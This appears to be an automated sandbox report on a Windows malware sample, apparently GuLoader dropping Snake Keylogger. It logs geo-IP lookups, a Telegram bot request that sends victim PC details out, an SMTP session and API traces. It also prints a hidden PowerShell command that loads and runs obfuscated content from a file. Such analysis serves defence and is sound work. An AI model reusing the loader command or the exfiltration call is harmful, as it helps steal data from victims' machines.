2024-10-22 14:04:21 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:04:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49715	188.114.97.3	443	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:04:22 UTC	63	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-22 14:04:22 UTC	896	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:22 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31218 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z9OokLckpy%2FLl1qOCfo4GRcH%2B1jE6AqUBAQHBR9dmpp4KHLmPLsfCNeUnznPiDwUwDPMLq5Z5bJAqdAi%2BYfCKAYy8j3wk3CuHXMRps441XutRikGCULGYhgjAKa%2B0gAb7CbZibpd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a094308766c7f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1076&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2594982&cwnd=237&unsent_bytes=0&cid=81d1cd371ca670a7&ts=148&x=0"
2024-10-22 14:04:22 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:04:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49717	188.114.97.3	443	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:04:24 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:04:24 UTC	890	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:24 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31220 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rnpXTaDZRmrfnsMLG64s9bmLdPJ53J5Uc2hXr0bXUvcpon9GbG5rYPAHckbsm26mgRRhhijpXN0YWPuQp7EwW1OWt0uBrxZluyDysbsPXi4qvTrokKSVzRT8sCaXv%2BjTgPcDCrkN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a094bed106b3f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1115&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2538124&cwnd=245&unsent_bytes=0&cid=04682ce2c15e719a&ts=152&x=0"
2024-10-22 14:04:24 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:04:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49719	188.114.97.3	443	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:04:25 UTC	63	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-22 14:04:26 UTC	900	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:25 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31221 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bIMwcjscuoV3C1jvB5%2FQCABa7ySWiKG%2BrU7dTgbSE2Fdprcc8Lknjpg%2Bh3W2TO%2Fd2bqDtfYpRcG%2FDz%2BlwyH2lsHzjcLSgsi9bdkz3fPOuoo02dprZcgrwGTZEhySzLYfRiK2Fc9H"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a09563e350b9d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1572&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1863577&cwnd=247&unsent_bytes=0&cid=97d6bb3cec61ff38&ts=151&x=0"
2024-10-22 14:04:26 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:04:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49721	188.114.97.3	443	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:04:27 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:04:27 UTC	894	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:27 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31223 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m9FD6YpnF3dft2mfVcQcO2pQe46hxyIUoE0tynug5n%2Fl1w6IhQA%2F9CtjVZDLvyjQdbNpQCmMsoEbYkHZ3zSf8gwxiske4nO23s44UYTjwZG%2BwvzCxwBFlYbZFanjV9RXpoP78m3a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a095f3e01e932-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2150&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1396335&cwnd=246&unsent_bytes=0&cid=9742994c973b8a01&ts=150&x=0"
2024-10-22 14:04:27 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:04:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49723	188.114.97.3	443	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:04:28 UTC	63	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-22 14:04:28 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:28 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31224 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BeGFJJtpLY5sznbbO5W%2FAnofeI853Vv1BB55W4JSMN9fJSHjnM4TZWi7ADcf9GH4UoTeYNp0U2HWU3myB4eDOFfsTQiWH6fuZUth4FHGw%2BVBmXG06ElOfxEbt4KOGD8RLxWYftlX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a09683d03ddaf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1292&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2159582&cwnd=32&unsent_bytes=0&cid=93239ddee86ed841&ts=153&x=0"
2024-10-22 14:04:28 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:04:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49725	188.114.97.3	443	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:04:30 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:04:30 UTC	898	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:30 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31226 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=beODQ5n7EpX7Rz5CaDvWtj2zTpVrF4eTJ8Av5JKQ%2BPBSCZhf%2FsvhYjrAU3N%2F8CaipRCf2WFxOugYe3N4KXU3gRaiO8EV97YhO%2FuQNxMwzH6h0effiIfI0%2B8JHu2hDhLc4cb0Kclr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a09710c3ec872-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1081&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2427493&cwnd=252&unsent_bytes=0&cid=ba3e2a08c006e8eb&ts=146&x=0"
2024-10-22 14:04:30 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:04:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49727	188.114.97.3	443	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:04:31 UTC	63	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-22 14:04:31 UTC	892	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:31 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31227 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PokeJy02%2BLrsOLvNSmAetV0CeKheSp%2BRjgEaq9gDYsJuXnjmznquPg65fmznCWaiifTdmc9eUESi5e2RZCTBIFgxjve4G3QTjv0ienLTBCSxWWWfioT6nzS8shfpRXsL6sZ1SgK0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a097a3c06e552-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1112&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2551541&cwnd=250&unsent_bytes=0&cid=a8f6698fd2b4ed9c&ts=150&x=0"
2024-10-22 14:04:31 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:04:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49728	149.154.167.220	443	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:04:32 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:472847%0D%0ADate%20and%20Time:%2022/10/2024%20/%2022:38:31%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20472847%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-22 14:04:32 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 22 Oct 2024 14:04:32 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-22 14:04:32 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 22, 2024 16:04:39.782625914 CEST	587	49729	213.165.67.118	192.168.2.10	220 kundenserver.de (mreue107) Nemesis ESMTP Service ready
Oct 22, 2024 16:04:39.787214994 CEST	49729	587	192.168.2.10	213.165.67.118	EHLO 472847
Oct 22, 2024 16:04:40.036479950 CEST	587	49729	213.165.67.118	192.168.2.10	250-kundenserver.de Hello 472847 [173.254.250.76] 250-8BITMIME 250-SIZE 141557760 250 STARTTLS
Oct 22, 2024 16:04:40.036618948 CEST	49729	587	192.168.2.10	213.165.67.118	STARTTLS
Oct 22, 2024 16:04:40.291269064 CEST	587	49729	213.165.67.118	192.168.2.10	220 OK

Target ID:	0
Start time:	10:03:11
Start date:	22/10/2024
Path:	C:\Users\user\Desktop\Rundholterne89.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Rundholterne89.exe"
Imagebase:	0x400000
File size:	891'148 bytes
MD5 hash:	A1E239C4D5116E289CE0597A92844EDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:03:14
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" -windowstyle hidden "$Ungarnsopholdet197=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205';$Ratanhia=$Ungarnsopholdet197.SubString(55438,3);.$Ratanhia($Ungarnsopholdet197)"
Imagebase:	0x6b0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.1886651504.000000000936D000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:03:14
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:04:02
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0xcc0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	25.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.4%
Total number of Nodes:	1199
Total number of Limit Nodes:	40

Executed Functions

Function 0040310F Relevance: 93.1, APIs: 33, Strings: 20, Instructions: 357
stringcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403134
GetVersion.KERNEL32 ref: 0040313A
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403163
#17.COMCTL32(00000007,00000009), ref: 00403185
OleInitialize.OLE32(00000000), ref: 0040318C
SHGetFileInfoA.SHELL32(00428828,00000000,?,00000160,00000000), ref: 004031A8
GetCommandLineA.KERNEL32(Hermandas Setup,NSIS Error), ref: 004031BD
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\Rundholterne89.exe",00000000), ref: 004031D0
CharNextA.USER32(00000000,"C:\Users\user\Desktop\Rundholterne89.exe",00000020), ref: 004031FB
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 004032F8
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403309
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403315
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403329
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403331
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403342
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040334A
DeleteFileA.KERNELBASE(1033), ref: 0040335E

